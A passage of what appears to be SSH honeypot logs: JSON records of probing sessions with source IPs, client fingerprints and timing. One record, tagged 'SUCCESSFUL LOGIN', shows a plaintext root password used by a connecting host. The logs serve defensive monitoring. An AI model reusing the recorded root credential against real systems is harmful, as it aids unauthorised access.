"start_time": "2026-05-16T01:20:42.510901Z",
"end_time": "2026-05-16T01:20:42.809813Z",
"duration": "0.3",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "b0080433e973",
"src_ip": "94.102.49.155",
"start_time": "2026-05-16T01:20:42.226655Z",
"end_time": "2026-05-16T01:20:42.370083Z",
"duration": "0.1",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / AXmVm1aBqhwvyLI7
{
"id": "72be3896ce84",
"src_ip": "121.123.141.252",
"start_time": "2026-05-16T01:13:58.168268Z",
"end_time": "2026-05-16T01:13:59.137808Z",
"duration": "1.0",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "AXmVm1aBqhwvyLI7"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}